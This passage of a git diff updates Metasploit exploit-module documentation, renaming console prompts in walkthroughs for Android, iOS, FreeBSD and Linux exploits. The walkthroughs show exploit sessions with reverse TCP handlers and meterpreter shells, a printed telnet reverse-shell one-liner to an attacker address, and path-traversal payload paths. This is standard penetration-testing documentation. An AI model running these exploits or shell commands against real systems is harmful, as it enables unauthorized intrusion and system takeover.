SESSION -1 SESSION => -1 -msf5 exploit(android/local/binder_uaf) > run +msf exploit(android/local/binder_uaf) > run ``` - **Verify** the new session can read and write private application data (in /data/data/..../) diff --git a/documentation/modules/exploit/android/local/futex_requeue.md b/documentation/modules/exploit/android/local/futex_requeue.md index ee2f666b94e76..6a01a7d2f12cd 100644 --- a/documentation/modules/exploit/android/local/futex_requeue.md +++ b/documentation/modules/exploit/android/local/futex_requeue.md @@ -70,18 +70,18 @@ meterpreter > getuid Server username: u0_a191 meterpreter > background [*] Backgrounding session 1... -msf5 exploit(multi/handler) > use exploit/android/local/futex_requeue -msf5 exploit(android/local/futex_requeue) > set session 1 +msf exploit(multi/handler) > use exploit/android/local/futex_requeue +msf exploit(android/local/futex_requeue) > set session 1 session => 1 -msf5 exploit(android/local/futex_requeue) > set verbose true +msf exploit(android/local/futex_requeue) > set verbose true verbose => true -msf5 exploit(android/local/futex_requeue) > set lhost 111.111.1.111 +msf exploit(android/local/futex_requeue) > set lhost 111.111.1.111 lhost => 111.111.1.111 -msf5 exploit(android/local/futex_requeue) > check +msf exploit(android/local/futex_requeue) > check [+] Android version 4.4.2 appears to be vulnerable [*] The target appears to be vulnerable. -msf5 exploit(android/local/futex_requeue) > run +msf exploit(android/local/futex_requeue) > run [*] Started reverse TCP handler on 111.111.1.111:4444 [+] Android version 4.4.2 appears to be vulnerable diff --git a/documentation/modules/exploit/android/local/janus.md b/documentation/modules/exploit/android/local/janus.md index 5dad905158732..1c563940ba24e 100644 --- a/documentation/modules/exploit/android/local/janus.md +++ b/documentation/modules/exploit/android/local/janus.md @@ -92,7 +92,7 @@ Install [com.phonegap.camerasample](https://github.com/heavysixer/phonegap-camer An `exploit/multi/handler` was started prior to exploitation. ``` -msf5 exploit(multi/handler) > sessions +msf exploit(multi/handler) > sessions Active sessions =============== @@ -101,16 +101,16 @@ Active sessions -- ---- ---- ----------- ---------- 1 meterpreter dalvik/android u0_a80 @ localhost 192.168.0.176:4444 -> 192.168.0.107:46059 (192.168.0.107) -msf5 exploit(multi/handler) > use exploit/android/local/janus -msf5 exploit(android/local/janus) > set PACKAGE com.phonegap.camerasample +msf exploit(multi/handler) > use exploit/android/local/janus +msf exploit(android/local/janus) > set PACKAGE com.phonegap.camerasample PACKAGE => com.phonegap.camerasample -msf5 exploit(android/local/janus) > set SESSION 1 +msf exploit(android/local/janus) > set SESSION 1 SESSION => 1 -msf5 exploit(android/local/janus) > set LHOST 192.168.0.176 +msf exploit(android/local/janus) > set LHOST 192.168.0.176 LHOST => 192.168.0.176 -msf5 exploit(android/local/janus) > set LPORT 4445 +msf exploit(android/local/janus) > set LPORT 4445 LPORT => 4445 -msf5 exploit(android/local/janus) > run +msf exploit(android/local/janus) > run [*] Downloading APK: /data/app/com.phonegap.camerasample-1/base.apk [*] Decompiling original APK.. @@ -121,7 +121,7 @@ msf5 exploit(android/local/janus) > run [*] Rebuilding apk with meterpreter injection as /tmp/d20190824-7164-qydvgj/output.apk [*] Uploading APK: /sdcard/app.apk [*] APK uploaded -msf5 exploit(android/local/janus) > +msf exploit(android/local/janus) > ``` Please note that the user will need to manually accept the install prompt on the device (and also open the application) before a new session is opened. @@ -129,7 +129,7 @@ Please note that the user will need to manually accept the install prompt on the [*] Sending stage (72609 bytes) to 192.168.0.107 [*] Meterpreter session 2 opened (192.168.0.176:4445 -> 192.168.0.107:49710) at 2018-10-01 17:44:50 +0800 -msf5 exploit(android/local/janus) > sessions 2 +msf exploit(android/local/janus) > sessions 2 [*] Starting interaction with 2... meterpreter > pwd @@ -221,7 +221,7 @@ resource (janus.rb)> run [*] Uploading APK: /sdcard/app.apk [*] APK uploaded [*] User should now have a prompt to install an updated version of the app -msf5 exploit(android/local/janus) > +msf exploit(android/local/janus) > ``` Install the app on the phone. For this app, clicking Open was not required, the shell was immediate. @@ -238,7 +238,7 @@ WARNING: Local file /root/metasploit-framework/data/android/meterpreter.jar is b [*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:38676) at 2019-11-05 20:12:38 -0500 [-] Unknown command: (installing. -msf5 exploit(android/local/janus) > sessions -i 2 +msf exploit(android/local/janus) > sessions -i 2 [*] Starting interaction with 2... meterpreter > getuid diff --git a/documentation/modules/exploit/android/local/su_exec.md b/documentation/modules/exploit/android/local/su_exec.md index d5024acaf0e69..48b27308734a0 100644 --- a/documentation/modules/exploit/android/local/su_exec.md +++ b/documentation/modules/exploit/android/local/su_exec.md @@ -19,7 +19,7 @@ Once the module is loaded, one simply needs to set the `SESSION` option and conf An example session follows: ``` -msf5 exploit(multi/handler) > sessions +msf exploit(multi/handler) > sessions Active sessions =============== @@ -28,16 +28,16 @@ Active sessions -- ---- ---- ----------- ---------- 1 meterpreter dalvik/android u0_a80 @ localhost 192.168.0.176:4444 -> 192.168.0.107:46059 (192.168.0.107) -msf5 exploit(multi/handler) > use exploit/android/local/su_exec -msf5 exploit(android/local/su_exec) > set SESSION 1 +msf exploit(multi/handler) > use exploit/android/local/su_exec +msf exploit(android/local/su_exec) > set SESSION 1 SESSION => 1 -msf5 exploit(android/local/su_exec) > set payload linux/aarch64/meterpreter/reverse_tcp +msf exploit(android/local/su_exec) > set payload linux/aarch64/meterpreter/reverse_tcp payload => linux/aarch64/meterpreter/reverse_tcp -msf5 exploit(android/local/su_exec) > set LHOST 192.168.0.176 +msf exploit(android/local/su_exec) > set LHOST 192.168.0.176 LHOST => 192.168.0.176 -msf5 exploit(android/local/su_exec) > set LPORT 4445 +msf exploit(android/local/su_exec) > set LPORT 4445 LPORT => 4445 -msf5 exploit(android/local/su_exec) > run +msf exploit(android/local/su_exec) > run [!] SESSION may not be compatible with this module. [*] Started reverse TCP handler on 192.168.0.176:4445 diff --git a/documentation/modules/exploit/apple_ios/browser/safari_jit.md b/documentation/modules/exploit/apple_ios/browser/safari_jit.md index 25efcbaebf0a7..fae910b475c8d 100644 --- a/documentation/modules/exploit/apple_ios/browser/safari_jit.md +++ b/documentation/modules/exploit/apple_ios/browser/safari_jit.md @@ -31,18 +31,18 @@ loading of the payload. Defaults to `false` ### iPhone 4 with iOS 7.1.2 ``` -msf5 > use exploit/apple_ios/browser/safari_jit +msf > use exploit/apple_ios/browser/safari_jit [*] Using configured payload apple_ios/armle/meterpreter_reverse_tcp -msf5 exploit(apple_ios/browser/safari_jit) > set lhost 1.1.1.1 +msf exploit(apple_ios/browser/safari_jit) > set lhost 1.1.1.1 lhost => 1.1.1.1 -msf5 exploit(apple_ios/browser/safari_jit) > set srvhost 1.1.1.1 +msf exploit(apple_ios/browser/safari_jit) > set srvhost 1.1.1.1 srvhost => 1.1.1.1 -msf5 exploit(apple_ios/browser/safari_jit) > set verbose true +msf exploit(apple_ios/browser/safari_jit) > set verbose true verbose => true -msf5 exploit(apple_ios/browser/safari_jit) > run +msf exploit(apple_ios/browser/safari_jit) > run [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. -msf5 exploit(apple_ios/browser/safari_jit) > +msf exploit(apple_ios/browser/safari_jit) > [*] Started reverse TCP handler on 1.1.1.1:4444 [*] Using URL: http://1.1.1.1:8080/ [*] Server started. diff --git a/documentation/modules/exploit/apple_ios/browser/webkit_createthis.md b/documentation/modules/exploit/apple_ios/browser/webkit_createthis.md index 5a467cdaccfcd..c6a1cb600db59 100644 --- a/documentation/modules/exploit/apple_ios/browser/webkit_createthis.md +++ b/documentation/modules/exploit/apple_ios/browser/webkit_createthis.md @@ -25,7 +25,7 @@ The exploit should work all 64-bit devices (iPhone 5S and newer) running iOS 10 ### 64bit iPhone 5S running iOS 10.2.1 ``` -msf5 exploit(apple_ios/browser/webkit_createthis) > exploit +msf exploit(apple_ios/browser/webkit_createthis) > exploit [*] Started reverse TCP handler on 192.168.1.51:4444 [*] Using URL: http://0.0.0.0:8080/ [*] Local IP: http://192.168.1.51:8080/ @@ -36,7 +36,7 @@ msf5 exploit(apple_ios/browser/webkit_createthis) > exploit [+] 192.168.1.34 webkit_createthis - Sent sha1 iOS 10 payload [*] Meterpreter session 1 opened (192.168.1.51:4444 -> 192.168.1.34:49211) at 2019-04-15 11:34:01 +0200 -msf5 exploit(apple_ios/browser/webkit_createthis) > sessions +msf exploit(apple_ios/browser/webkit_createthis) > sessions Active sessions =============== @@ -45,7 +45,7 @@ Active sessions -- ---- ---- ----------- ---------- 1 meterpreter aarch64/apple_ios uid=0, gid=0, euid=0, egid=0 @ 192.168.1.34 192.168.1.51:4444 -> 192.168.1.34:49211 (192.168.1.34) -msf5 exploit(apple_ios/browser/webkit_createthis) > sessions 1 +msf exploit(apple_ios/browser/webkit_createthis) > sessions 1 [*] Starting interaction with 1... meterpreter > pwd diff --git a/documentation/modules/exploit/bsd/finger/morris_fingerd_bof.md b/documentation/modules/exploit/bsd/finger/morris_fingerd_bof.md index 896642f1a14c2..4f0eafc3eec53 100644 --- a/documentation/modules/exploit/bsd/finger/morris_fingerd_bof.md +++ b/documentation/modules/exploit/bsd/finger/morris_fingerd_bof.md @@ -44,8 +44,8 @@ Set this to a BSD VAX payload. Currently, only ### `fingerd` 5.1 on 4.3BSD ``` -msf5 > use exploit/bsd/finger/morris_fingerd_bof -msf5 exploit(bsd/finger/morris_fingerd_bof) > options +msf > use exploit/bsd/finger/morris_fingerd_bof +msf exploit(bsd/finger/morris_fingerd_bof) > options Module options (exploit/bsd/finger/morris_fingerd_bof): @@ -70,11 +70,11 @@ Exploit target: 0 @(#)fingerd.c 5.1 (Berkeley) 6/6/85 -msf5 exploit(bsd/finger/morris_fingerd_bof) > set rhosts 127.0.0.1 +msf exploit(bsd/finger/morris_fingerd_bof) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf5 exploit(bsd/finger/morris_fingerd_bof) > set lhost 192.168.56.1 +msf exploit(bsd/finger/morris_fingerd_bof) > set lhost 192.168.56.1 lhost => 192.168.56.1 -msf5 exploit(bsd/finger/morris_fingerd_bof) > run +msf exploit(bsd/finger/morris_fingerd_bof) > run [*] Started reverse TCP handler on 192.168.56.1:4444 [*] 127.0.0.1:79 - Connecting to fingerd diff --git a/documentation/modules/exploit/freebsd/http/citrix_dir_traversal_rce.md b/documentation/modules/exploit/freebsd/http/citrix_dir_traversal_rce.md index 87c5f4bde74dc..c8eff6bd52ce9 100644 --- a/documentation/modules/exploit/freebsd/http/citrix_dir_traversal_rce.md +++ b/documentation/modules/exploit/freebsd/http/citrix_dir_traversal_rce.md @@ -9,7 +9,7 @@ This `/vpns/` directory is interesting because it contains Perl code. The script A malicious attacker can execute arbitrary commands remotely by creating a corrupted XML file that uses the Perl Template Toolkit in part of payload. ``` -msf5 exploit(freebsd/http/citrix_dir_traversal_rce) > run +msf exploit(freebsd/http/citrix_dir_traversal_rce) > run [*] Using auxiliary/scanner/http/citrix_dir_traversal as check [+] http://127.0.0.1:8080/vpn/../vpns/cfg/smb.conf - The target is vulnerable to CVE-2019-19781. @@ -23,9 +23,9 @@ uid=65534(nobody) gid=65534(nobody) groups=65534(nobody) [!] This exploit may require manual cleanup of '/netscaler/portal/templates/mdjLHiHtIYmh.xml' on the target [!] This exploit may require manual cleanup of '/var/tmp/netscaler/portal/templates/mdjLHiHtIYmh.xml.ttc2' on the target [*] Exploit completed, but no session was created. -msf5 exploit(freebsd/http/citrix_dir_traversal_rce) > set payload cmd/unix/bind_perl +msf exploit(freebsd/http/citrix_dir_traversal_rce) > set payload cmd/unix/bind_perl payload => cmd/unix/bind_perl -msf5 exploit(freebsd/http/citrix_dir_traversal_rce) > run +msf exploit(freebsd/http/citrix_dir_traversal_rce) > run [*] Using auxiliary/scanner/http/citrix_dir_traversal as check [+] http://127.0.0.1:8080/vpn/../vpns/cfg/smb.conf - The target is vulnerable to CVE-2019-19781. diff --git a/documentation/modules/exploit/freebsd/http/citrix_formssso_target_rce.md b/documentation/modules/exploit/freebsd/http/citrix_formssso_target_rce.md index e21dde5dd48c0..c9970b5d7da2d 100644 --- a/documentation/modules/exploit/freebsd/http/citrix_formssso_target_rce.md +++ b/documentation/modules/exploit/freebsd/http/citrix_formssso_target_rce.md @@ -23,7 +23,7 @@ Specific demo of using the module that might be useful in a real world scenario. NetScaler VPX instance for VMware ESX from `NSVPX-ESX-13.1-48.47_nc_64`. ``` -msf6 exploit(freebsd/http/citrix_formssso_target_rce) > show options +msf exploit(freebsd/http/citrix_formssso_target_rce) > show options Module options (exploit/freebsd/http/citrix_formssso_target_rce): @@ -55,7 +55,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(freebsd/http/citrix_formssso_target_rce) > run +msf exploit(freebsd/http/citrix_formssso_target_rce) > run [*] Started reverse TCP handler on 192.168.159.128:4444 [*] Sending stage (24768 bytes) to 192.168.159.30 diff --git a/documentation/modules/exploit/freebsd/http/junos_phprc_auto_prepend_file.md b/documentation/modules/exploit/freebsd/http/junos_phprc_auto_prepend_file.md index 4c4ac95ac8be2..351a8dfa6c7f7 100644 --- a/documentation/modules/exploit/freebsd/http/junos_phprc_auto_prepend_file.md +++ b/documentation/modules/exploit/freebsd/http/junos_phprc_auto_prepend_file.md @@ -77,13 +77,13 @@ password over SSH and then rewrites the original root password hash to /etc/mast ### PHP In-Memory, junos-vsrx3-x86-64-20.2R1.10.scsi.ova ``` -msf6 > use exploit/freebsd/http/junos_phprc_auto_prepend_file +msf > use exploit/freebsd/http/junos_phprc_auto_prepend_file [*] Using configured payload php/meterpreter/reverse_tcp -msf6 exploit(freebsd/http/junos_phprc_auto_prepend_file) > set rhosts 192.168.140.91 +msf exploit(freebsd/http/junos_phprc_auto_prepend_file) > set rhosts 192.168.140.91 rhosts => 192.168.140.91 -msf6 exploit(freebsd/http/junos_phprc_auto_prepend_file) > set lhost 192.168.140.78 +msf exploit(freebsd/http/junos_phprc_auto_prepend_file) > set lhost 192.168.140.78 lhost => 192.168.140.78 -msf6 exploit(freebsd/http/junos_phprc_auto_prepend_file) > options +msf exploit(freebsd/http/junos_phprc_auto_prepend_file) > options Module options (exploit/freebsd/http/junos_phprc_auto_prepend_file): @@ -127,7 +127,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(freebsd/http/junos_phprc_auto_prepend_file) > run +msf exploit(freebsd/http/junos_phprc_auto_prepend_file) > run [*] Started reverse TCP handler on 192.168.140.78:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -146,7 +146,7 @@ meterpreter > exit ### Interactive SSH with jail break junos-vsrx3-x86-64-20.2R1.10.scsi.ova ``` -msf6 exploit(freebsd/http/junos_phprc_auto_prepend_file) > show targets +msf exploit(freebsd/http/junos_phprc_auto_prepend_file) > show targets Exploit targets: ================= @@ -157,9 +157,9 @@ Exploit targets: 1 Interactive SSH with jail break -msf6 exploit(freebsd/http/junos_phprc_auto_prepend_file) > set target 1 +msf exploit(freebsd/http/junos_phprc_auto_prepend_file) > set target 1 target => 1 -msf6 exploit(freebsd/http/junos_phprc_auto_prepend_file) > options +msf exploit(freebsd/http/junos_phprc_auto_prepend_file) > options Module options (exploit/freebsd/http/junos_phprc_auto_prepend_file): @@ -201,7 +201,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(freebsd/http/junos_phprc_auto_prepend_file) > run +msf exploit(freebsd/http/junos_phprc_auto_prepend_file) > run [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Environment variable manipulation succeeded indicating this target is vulnerable. diff --git a/documentation/modules/exploit/freebsd/local/intel_sysret_priv_esc.md b/documentation/modules/exploit/freebsd/local/intel_sysret_priv_esc.md index d0086291b7559..eebb7e1f0e305 100644 --- a/documentation/modules/exploit/freebsd/local/intel_sysret_priv_esc.md +++ b/documentation/modules/exploit/freebsd/local/intel_sysret_priv_esc.md @@ -48,12 +48,12 @@ ### FreeBSD 9.0-RELEASE ``` - msf5 > use exploit/freebsd/local/intel_sysret_priv_esc - msf5 exploit(freebsd/local/intel_sysret_priv_esc) > set session 1 + msf > use exploit/freebsd/local/intel_sysret_priv_esc + msf exploit(freebsd/local/intel_sysret_priv_esc) > set session 1 session => 1 - msf5 exploit(freebsd/local/intel_sysret_priv_esc) > set lhost 123.123.123.188 + msf exploit(freebsd/local/intel_sysret_priv_esc) > set lhost 123.123.123.188 lhost => 123.123.123.188 - msf5 exploit(freebsd/local/intel_sysret_priv_esc) > run + msf exploit(freebsd/local/intel_sysret_priv_esc) > run [!] SESSION may not be compatible with this module. [*] Started reverse TCP handler on 123.123.123.188:4444 diff --git a/documentation/modules/exploit/freebsd/local/ip6_setpktopt_uaf_priv_esc.md b/documentation/modules/exploit/freebsd/local/ip6_setpktopt_uaf_priv_esc.md index c873ea9f2ecda..2f2a78e474d4d 100644 --- a/documentation/modules/exploit/freebsd/local/ip6_setpktopt_uaf_priv_esc.md +++ b/documentation/modules/exploit/freebsd/local/ip6_setpktopt_uaf_priv_esc.md @@ -53,13 +53,13 @@ A directory where we can write files (default: `/tmp`) ### FreeBSD 9.3-RELEASE #0 r268512 (amd64) ``` -msf5 > use exploit/freebsd/local/ip6_setpktopt_uaf_priv_esc +msf > use exploit/freebsd/local/ip6_setpktopt_uaf_priv_esc [*] Using configured payload bsd/x64/shell_reverse_tcp -msf5 exploit(freebsd/local/ip6_setpktopt_uaf_priv_esc) > set lhost 172.16.191.165 +msf exploit(freebsd/local/ip6_setpktopt_uaf_priv_esc) > set lhost 172.16.191.165 lhost => 172.16.191.165 -msf5 exploit(freebsd/local/ip6_setpktopt_uaf_priv_esc) > set session 1 +msf exploit(freebsd/local/ip6_setpktopt_uaf_priv_esc) > set session 1 session => 1 -msf5 exploit(freebsd/local/ip6_setpktopt_uaf_priv_esc) > run +msf exploit(freebsd/local/ip6_setpktopt_uaf_priv_esc) > run [!] SESSION may not be compatible with this module. [*] Started reverse TCP handler on 172.16.191.165:4444 @@ -86,13 +86,13 @@ FreeBSD freebsd-9-3-amd64 9.3-RELEASE FreeBSD 9.3-RELEASE #0 r268512: Thu Jul 10 ### FreeBSD 12.1-RELEASE r354233 (amd64) ``` -msf5 > use exploit/freebsd/local/ip6_setpktopt_uaf_priv_esc +msf > use exploit/freebsd/local/ip6_setpktopt_uaf_priv_esc [*] Using configured payload bsd/x64/shell_reverse_tcp -msf5 exploit(freebsd/local/ip6_setpktopt_uaf_priv_esc) > set lhost 172.16.191.165 +msf exploit(freebsd/local/ip6_setpktopt_uaf_priv_esc) > set lhost 172.16.191.165 lhost => 172.16.191.165 -msf5 exploit(freebsd/local/ip6_setpktopt_uaf_priv_esc) > set session 1 +msf exploit(freebsd/local/ip6_setpktopt_uaf_priv_esc) > set session 1 session => 1 -msf5 exploit(freebsd/local/ip6_setpktopt_uaf_priv_esc) > run +msf exploit(freebsd/local/ip6_setpktopt_uaf_priv_esc) > run [!] SESSION may not be compatible with this module. [*] Started reverse TCP handler on 172.16.191.165:4444 diff --git a/documentation/modules/exploit/freebsd/local/rtld_execl_priv_esc.md b/documentation/modules/exploit/freebsd/local/rtld_execl_priv_esc.md index 68bff52d991f0..1acc4eba10675 100644 --- a/documentation/modules/exploit/freebsd/local/rtld_execl_priv_esc.md +++ b/documentation/modules/exploit/freebsd/local/rtld_execl_priv_esc.md @@ -41,14 +41,14 @@ ### FreeBSD 7.2-RELEASE (amd64) ``` - msf5 > use exploit/freebsd/local/rtld_execl_priv_esc - msf5 exploit(freebsd/local/rtld_execl_priv_esc) > set session 1 + msf > use exploit/freebsd/local/rtld_execl_priv_esc + msf exploit(freebsd/local/rtld_execl_priv_esc) > set session 1 session => 1 - msf5 exploit(freebsd/local/rtld_execl_priv_esc) > set verbose true + msf exploit(freebsd/local/rtld_execl_priv_esc) > set verbose true verbose => true - msf5 exploit(freebsd/local/rtld_execl_priv_esc) > set lhost 172.16.191.165 + msf exploit(freebsd/local/rtld_execl_priv_esc) > set lhost 172.16.191.165 lhost => 172.16.191.165 - msf5 exploit(freebsd/local/rtld_execl_priv_esc) > run + msf exploit(freebsd/local/rtld_execl_priv_esc) > run [*] Started reverse TCP handler on 172.16.191.165:4444 [+] FreeBSD version 7.2-RELEASE appears vulnerable @@ -95,14 +95,14 @@ ### FreeBSD 8.0-RELEASE (amd64) ``` - msf5 > use exploit/freebsd/local/rtld_execl_priv_esc - msf5 exploit(freebsd/local/rtld_execl_priv_esc) > set session 1 + msf > use exploit/freebsd/local/rtld_execl_priv_esc + msf exploit(freebsd/local/rtld_execl_priv_esc) > set session 1 session => 1 - msf5 exploit(freebsd/local/rtld_execl_priv_esc) > set verbose true + msf exploit(freebsd/local/rtld_execl_priv_esc) > set verbose true verbose => true - msf5 exploit(freebsd/local/rtld_execl_priv_esc) > set lhost 172.16.191.165 + msf exploit(freebsd/local/rtld_execl_priv_esc) > set lhost 172.16.191.165 lhost => 172.16.191.165 - msf5 exploit(freebsd/local/rtld_execl_priv_esc) > run + msf exploit(freebsd/local/rtld_execl_priv_esc) > run [*] Started reverse TCP handler on 172.16.191.165:4444 [+] FreeBSD version 8.0-RELEASE appears vulnerable diff --git a/documentation/modules/exploit/freebsd/webapp/spamtitan_unauth_rce.md b/documentation/modules/exploit/freebsd/webapp/spamtitan_unauth_rce.md index 82ac01dfc7e9d..7065f4b070ed1 100644 --- a/documentation/modules/exploit/freebsd/webapp/spamtitan_unauth_rce.md +++ b/documentation/modules/exploit/freebsd/webapp/spamtitan_unauth_rce.md @@ -79,15 +79,15 @@ The target SNMP port (UDP). Default port is `161`. ### SpamTitan Gateway v7.01 - target 0 (in-memory command) ``` -msf6 > use exploit/freebsd/webapp/spamtitan_unauth_rce +msf > use exploit/freebsd/webapp/spamtitan_unauth_rce [*] Using configured payload cmd/unix/reverse -msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > set LHOST 172.16.60.1 +msf exploit(freebsd/webapp/spamtitan_unauth_rce) > set LHOST 172.16.60.1 LHOST => 172.16.60.1 -msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > set RHOSTS 172.16.60.101 +msf exploit(freebsd/webapp/spamtitan_unauth_rce) > set RHOSTS 172.16.60.101 RHOSTS => 172.16.60.101 -msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > set verbose true +msf exploit(freebsd/webapp/spamtitan_unauth_rce) > set verbose true verbose => true -msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > show options +msf exploit(freebsd/webapp/spamtitan_unauth_rce) > show options Module options (exploit/freebsd/webapp/spamtitan_unauth_rce): @@ -125,11 +125,11 @@ Exploit target: 0 Unix In-Memory -msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > check +msf exploit(freebsd/webapp/spamtitan_unauth_rce) > check [*] Check if /snmp-x.php exists [*] 172.16.60.101:80 - The target appears to be vulnerable. -msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > run +msf exploit(freebsd/webapp/spamtitan_unauth_rce) > run [+] sh -c '(sleep 4511|telnet 172.16.60.1 4444|while : ; do sh && break; done 2>&1|telnet 172.16.60.1 4444 >/dev/null 2>&1 &)' [*] Started reverse TCP double handler on 172.16.60.1:4444 @@ -179,9 +179,9 @@ Abort session 1? [y/N] y ### SpamTitan Gateway v7.01 - target 1 (FreeBSD Dropper - x64) ``` -msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > set target 1 +msf exploit(freebsd/webapp/spamtitan_unauth_rce) > set target 1 target => 1 -msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > show options +msf exploit(freebsd/webapp/spamtitan_unauth_rce) > show options Module options (exploit/freebsd/webapp/spamtitan_unauth_rce): @@ -220,7 +220,7 @@ Exploit target: 1 FreeBSD Dropper (x64) -msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > run +msf exploit(freebsd/webapp/spamtitan_unauth_rce) > run [*] Started reverse TCP handler on 172.16.60.1:4444 [*] Executing automatic check (disable AutoCheck to override) @@ -263,9 +263,9 @@ Abort session 2? [y/N] y ### SpamTitan Gateway v7.01 - target 2 (FreeBSD Dropper - x86) ``` -msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > set target 2 +msf exploit(freebsd/webapp/spamtitan_unauth_rce) > set target 2 target => 2 -msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > show options +msf exploit(freebsd/webapp/spamtitan_unauth_rce) > show options Module options (exploit/freebsd/webapp/spamtitan_unauth_rce): @@ -302,7 +302,7 @@ Exploit target: -- ---- 2 FreeBSD Dropper (x86) -msf6 exploit(freebsd/webapp/spamtitan_unauth_rce) > run +msf exploit(freebsd/webapp/spamtitan_unauth_rce) > run [*] Started reverse TCP handler on 172.16.60.1:4444 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/linux/fileformat/unrar_cve_2022_30333.md b/documentation/modules/exploit/linux/fileformat/unrar_cve_2022_30333.md index 22565ff6ba95b..d9703741001d0 100644 --- a/documentation/modules/exploit/linux/fileformat/unrar_cve_2022_30333.md +++ b/documentation/modules/exploit/linux/fileformat/unrar_cve_2022_30333.md @@ -12,15 +12,15 @@ This module creates a generic RAR file containing whatever `PAYLOAD` the user co To generate the .rar file: ``` -msf6 > use exploit/linux/fileformat/unrar_cve_2022_30333 +msf > use exploit/linux/fileformat/unrar_cve_2022_30333 [*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set RHOSTS 10.0.0.154 +msf exploit(linux/fileformat/unrar_cve_2022_30333) > set RHOSTS 10.0.0.154 RHOSTS => 10.0.0.154 -msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set LHOST 10.0.0.146 +msf exploit(linux/fileformat/unrar_cve_2022_30333) > set LHOST 10.0.0.146 LHOST => 10.0.0.146 -msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set TARGET_PATH ../../../../../../tmp/docstest.txt +msf exploit(linux/fileformat/unrar_cve_2022_30333) > set TARGET_PATH ../../../../../../tmp/docstest.txt TARGET_PATH => ../../../../../../tmp/docstest.txt -msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > exploit +msf exploit(linux/fileformat/unrar_cve_2022_30333) > exploit [*] Target filename: ../../../../../../tmp/docstest.txt [+] payload.rar stored at /home/ron/.msf4/local/payload.rar @@ -72,13 +72,13 @@ We also built a specific exploit for Zimbra - `exploit/linux/http/zimbra_unrar_c ### Built-in payload ``` -msf6 > use exploit/linux/fileformat/unrar_cve_2022_30333 +msf > use exploit/linux/fileformat/unrar_cve_2022_30333 [*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set LHOST 10.0.0.146 +msf exploit(linux/fileformat/unrar_cve_2022_30333) > set LHOST 10.0.0.146 LHOST => 10.0.0.146 -msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set TARGET_PATH ../../../../../../../../tmp/evil.bin +msf exploit(linux/fileformat/unrar_cve_2022_30333) > set TARGET_PATH ../../../../../../../../tmp/evil.bin TARGET_PATH => ../../../../../../../../tmp/evil.bin -msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > exploit +msf exploit(linux/fileformat/unrar_cve_2022_30333) > exploit [*] Target filename: ../../../../../../../../tmp/evil.bin [*] Encoding configured payload @@ -105,15 +105,15 @@ ron@fedora ~/.msf4/local $ file /tmp/evil.bin ### Custom payload ``` -msf6 > use exploit/linux/fileformat/unrar_cve_2022_30333 +msf > use exploit/linux/fileformat/unrar_cve_2022_30333 [*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set LHOST 10.0.0.146 +msf exploit(linux/fileformat/unrar_cve_2022_30333) > set LHOST 10.0.0.146 LHOST => 10.0.0.146 -msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set TARGET_PATH ../../../../../../../../tmp/evil.sh +msf exploit(linux/fileformat/unrar_cve_2022_30333) > set TARGET_PATH ../../../../../../../../tmp/evil.sh TARGET_PATH => ../../../../../../../../tmp/evil.sh -msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > echo -ne "#!/bin/bash\nwhoami\n" > /tmp/test.sh +msf exploit(linux/fileformat/unrar_cve_2022_30333) > echo -ne "#!/bin/bash\nwhoami\n" > /tmp/test.sh [*] exec: echo -ne "#!/bin/bash\nwhoami\n" > /tmp/test.sh -msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set CUSTOM_PAYLOAD /tmp/test.sh +msf exploit(linux/fileformat/unrar_cve_2022_30333) > set CUSTOM_PAYLOAD /tmp/test.sh CUSTOM_PAYLOAD => /tmp/test.sh ``` diff --git a/documentation/modules/exploit/linux/http/acronis_cyber_infra_cve_2023_45249.md b/documentation/modules/exploit/linux/http/acronis_cyber_infra_cve_2023_45249.md index 15e83dafc5939..248cfe7d0e719 100644 --- a/documentation/modules/exploit/linux/http/acronis_cyber_infra_cve_2023_45249.md +++ b/documentation/modules/exploit/linux/http/acronis_cyber_infra_cve_2023_45249.md @@ -61,7 +61,7 @@ If no key is provided, a SSH private key will be generated for you. ## Scenarios ```msf -msf6 exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > info +msf exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > info Name: Acronis Cyber Infrastructure default password remote code execution Module: exploit/linux/http/acronis_cyber_infra_cve_2023_45249 @@ -137,11 +137,11 @@ View the full module info with the info -d command. ## Scenarios ### Acronis Cyber Infrastructure 4.7 appliance Unix/Linux command ```msf -msf6 exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > set rhosts 192.168.201.5 +msf exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > set rhosts 192.168.201.5 rhosts => 192.168.201.5 -msf6 exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > check +msf exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > check [*] 192.168.201.5:8888 - The target 